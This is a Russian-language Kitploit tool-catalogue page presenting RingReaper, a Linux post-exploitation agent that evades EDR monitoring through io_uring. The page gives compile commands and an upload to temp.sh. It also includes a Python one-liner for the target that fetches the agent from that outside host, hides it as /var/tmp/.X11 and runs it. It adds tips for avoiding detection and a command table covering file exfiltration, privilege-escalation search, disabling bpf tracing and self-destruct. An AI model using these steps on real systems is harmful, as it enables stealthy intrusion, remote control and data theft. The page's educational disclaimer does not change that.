Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
RingReaper — Linux-агент пост-эксплуатации, который использует io_uring для скрытого обхода обнаружения EDR, избегая традиционных системных вызовов. | Kitploit
Инструменты/GitHubGitHub/matheuzsecurity/ringreaper
Повышение привилегийОбход IDS/IPSЭксфильтрация данныхПост-эксплуатацияКомандование и УправлениеRed TeamingИнструмент Удаленного ДоступаСостязательная Атака
GitHubmatheuzsecurity/ringreaper

RingReaper

Linux-агент пост-эксплуатации, который использует io_uring для скрытого обхода обнаружения EDR, избегая традиционных системных вызовов.

Репозиторий
3836211 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

RingReaper

RingReaper — это простой пост-эксплуатационный агент для Linux, предназначенный для тех, кому нужно действовать скрытно, минимизируя шансы быть обнаруженным EDR-решениями. Идея проекта заключалась в использовании io_uring — нового асинхронного интерфейса ввода-вывода в ядре Linux — для обхода традиционных системных вызовов, которые большинство EDR-решений склонны отслеживать или хукать.

На практике RingReaper заменяет такие вызовы, как read, write, recv, send, connect и другие, асинхронными операциями ввода-вывода (io_uring_prep_*), снижая подверженность хукам и трассировке событий, обычно собираемых стандартизированным образом продуктами безопасности.

ПРИМЕЧАНИЕ: Некоторые функции RingReaper по-прежнему полагаются на традиционные вызовы, такие как чтение каталогов (opendir, readdir) или разрешение символических ссылок (readlink), поскольку io_uring пока не полностью поддерживает такие операции нативно. Тем не менее, во время моих тестов эти вызовы не вызывали алертов на протестированных EDR, именно потому, что они находятся вне отслеживаемых путей сетевого ввода-вывода.

В целом RingReaper создан, чтобы максимально избегать традиционных вызовов, и даже в тех случаях, когда приходилось их использовать, он демонстрировал отличные возможности обхода, без алертов и обнаружений со стороны обычных агентов безопасности.

Полную и подробную статью читайте по адресу:

https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/

Автор: https://www.linkedin.com/in/mathsalves/

Rootkit Researchers

  • https://discord.gg/66N5ZQppU7

Справочник команд

В RingReaper весь трафик данных, включая управляющие команды, загрузку и скачивание, должен проходить через io_uring. Это также гарантирует, что наиболее чувствительные операции остаются вне поля зрения хуков и EDR-мониторинга, основанного на традиционных вызовах.

Об обходе обнаружения

RingReaper был спроектирован с нуля для обхода EDR-мониторинга. Многие решения безопасности строят свои детекторы на перехвате классических системных вызовов (read, recv, send, connect) на уровне ядра. Поскольку io_uring — относительно новый и слабо интегрирован в конвейер телеметрии этих продуктов, он часто остаётся незамеченным большинством агентов, что позволяет проводить C2-сессии и эксфильтрацию данных без срабатывания алертов.

Даже функции, которые всё ещё опираются на старые системные вызовы (например, чтение каталогов), оставались достаточно незаметными, чтобы не вызывать тревог.

Требования

  • Ядро Linux 5.1 или выше
  • Библиотека liburing
  • Совместимый C-компилятор (проверено с GCC)

Окружение

Протестировано ТОЛЬКО на следующих версиях ядра:

  • 6.8.0-60-generic
  • 6.12.25-amd64

Компиляция

root@kitploit:~
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static

Выполнение

В ходе тестирования я заметил, что EDR обнаруживает компиляцию agent.c, отслеживая использование GCC в реальном времени (лучше не использовать wget/curl). Чтобы обойти это, я скомпилировал агент статически у себя, отправил готовый бинарник через temp.sh и использовал Python на целевой машине для загрузки и запуска. Этот приём сработал без предупреждений.

Сервер (атакующая машина) :

  • curl -F "file=@agent" https://temp.sh/upload
  • python3 server.py --ip IP --port 443

Агент (целевая машина) :

  • python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"

Обновления

Версия 2.0:

  • Поддержка нескольких многопоточных соединений.
  • История команд (с использованием клавиш "вверх" и "вниз").
  • Команда "Clear" для очистки экрана.

Вклад

Не стесняйтесь отправлять pull request и вносить вклад в проект. Любые ошибки в RingReaper — пожалуйста, создайте issue и сообщите нам.

Отказ от ответственности

Этот код был разработан исключительно в образовательных целях, для исследований и контролируемых демонстраций техник обхода. Любое использование вне авторизованных сред или в злонамеренных целях строго запрещено и полностью является ответственностью пользователя. Несанкционированное или незаконное использование может нарушать местные, национальные или международные законы.

Скачать инструмент
КомандаОписаниеБэкенд
getПолучить файлы с целевой машины100% io_uring
putЗагрузка файлов (использует recv на стороне агента)100% io_uring
killbpfОтключить трассировку, удалить файлы /sys/fs/bpf и завершить процессы, использующие bpf-mapтрадиционные вызовы + io_uring
usersСписок вошедших пользователей через чтение utmp100% io_uring
ss / netstatСписок TCP-соединений из /proc/net/tcp100% io_uring
privescПоиск SUID-бинарников с помощью statx100% io_uring
psСписок процессов (использует opendir, readdir)традиционные вызовы + io_uring
kickЗавершение pts-сессий (использует opendir, readdir, kill, readlink)традиционные вызовы + io_uring
meПоказать PID/TTY (getpid, ttyname)традиционные вызовы + io_uring
selfdestructУдалить текущий бинарник (использует readlink)традиционные вызовы + io_uring
exitЗавершить соединение и выйти100% io_uring
helpПоказать справку100% io_uring